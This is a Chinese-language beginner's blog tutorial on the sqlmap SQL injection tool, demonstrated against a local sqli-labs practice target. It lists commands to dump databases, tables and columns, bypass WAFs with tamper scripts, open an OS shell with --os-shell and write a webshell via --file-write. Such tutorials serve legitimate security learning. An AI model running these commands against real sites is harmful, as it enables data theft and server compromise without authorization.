写在前面:
说实话对sqlmap的使用我也是刚开始学,以前是在查询框或者hackbar或者直接在URL里面写SQL语句进行SQL注入,sqlmap大大简化了手工注入的操作和难度,我也是刚接触,但确实很好用,目前我所认知的一个大概的整体框架就是:
sqlmap -u "网站URL/?注入点=1" 后面再追加一些常用参数即可
不必记住每个参数,记一些常用的就行,知道这个sqlmap大概怎么个用法就好了,而且每次遇到的注入情况也不一样。
更加详细的手工注入流程(实战CTF例题讲解)可以参考我的另一篇博客http://t.csdn.cn/pccO8
sqlmap是用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器权限,包括获取数据库中存储的数据,访问操作系统文件,甚至可以通过外带数据连接的方式执行操作系统命令。
常用参数
sqlmap输入结果时会用到-v参数,,有7个等级,默认的等级是1,详细如下:
0:只显示Python的tracebacks信息,错误信息和关键信息。
1:显示普通信息【INFO】和警告信息【WARNING】。
2:同时显示调试信息【DEBUG】。
3:同时显示注入使用的攻击载荷。
4:同时显示HTTP请求。
5:同时显示HTTP响应头。
6:同时显示HTTP响应体。
sqlmap中level等级分为1~5,默认情况下等级为1,检查Cookie时等级最少为2,检查User-Agent时等级最少为3,5级包含的Payload最多,会自动破解出Cookie、XFF等头部注入,对应它的速度也比较慢。
sqlmap中risk等级分为0~3,默认情况下等级为1,会检测大部分的测试语句,等级为2时会增加基于事件的测试语句,等级为3时会增加or语句的SQL注入测试。
sglmap支持以下5种不同的注入模式:基于布尔的盲注,即可以根据返回页面判断条件真假的注入:基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句判断时间延迟语句是否执行(页面返回时间是否增加);基于报错注入,即页面会返回错误信息,或者把注入语句的结果直接返回在页面中;联合查询注入,可以使用UNION情况下的注入;堆查询注入,可以同时执行多条语句执行时的注入。
在MySQL数据库中,它一般会用以下语句:
检测注入点:sqlmap -u "www.test.com/?id=1"
指定检测参数:sqlmap -u "www.test.com/?id=1&page=2" -p id
识别数据库类型:sqlmap -u "www.test.com/?id=1" -f
识别数据库版本:sqlmap -u "www.test.com/?id=1" -b
在此,我以sqllabs来演示部分语句:
sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1"
检测过程中我们可能会遇到一些询问,直接选择Y即可
进行这样的一个检测后,sqlmap给出了很多payload,比如我们尝试下面这个
直接爆出了一串password
列出当前数据库:sqlmap -u "www.test.com/?id=1" --current-db
列出所有数据库:sqlmap -u "www.test.com/?id=1" --dbs
列出指定数据库的表:sqlmap -u "www.test.com/?id=1" -D test --tables
列出指定表的字段:sqlmap -u "www.test.com/?id=1" -D test -T user --columns
避开waf等设备:sqlmap -u "www.test.com/?id=1" --tamper xxx.py
(sqlmap自带的Python文件在tamper目录下)
同样,以sqllabs靶场中第一题为例:
sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" --dbs
发现它有一个mysql数据库,我们尝试列出mysql这个数据库中的表
sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" -D mysql --tables
sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" -D func -T user --columns
获取交互式shell:
sqlmap -u "www.test.com/?id=1"--os-shell
需要具备三个条件:
必须是数据库root权限;已经获取网站的路径;GPC设置为off。
sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" --os-shell
指定注入模式:
sqlmap -u "www.test.com/?id=1" --technique (B/E/U/S/T)
B:Boolean-based blind SQL injection(布尔型注入)。
E:Error-based SQL injection(报错型注入)。
U:UNION query SQL injection(可联合查询注入)。
S: Stacked queries SQL injection(可多语句查询注入)。
T: Time-based blind SQL injection(基于时间延迟注入)。
比如我们这里指定布尔型注入:
sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" --technique B
补充:
file协议写shell:
sqlmap -u "www.test.com/?id=1" --file-write"本地文件" --file-dest "网站绝对路径+文件名"
在检测POST型注入的时候一般会将POST包放入一个txt文档里
检测注入点如下:
sqlmap -r tets.txt
Cookie型注入:
sqlmap -u "www.test.com/?id=1" --cookie "xxxxx"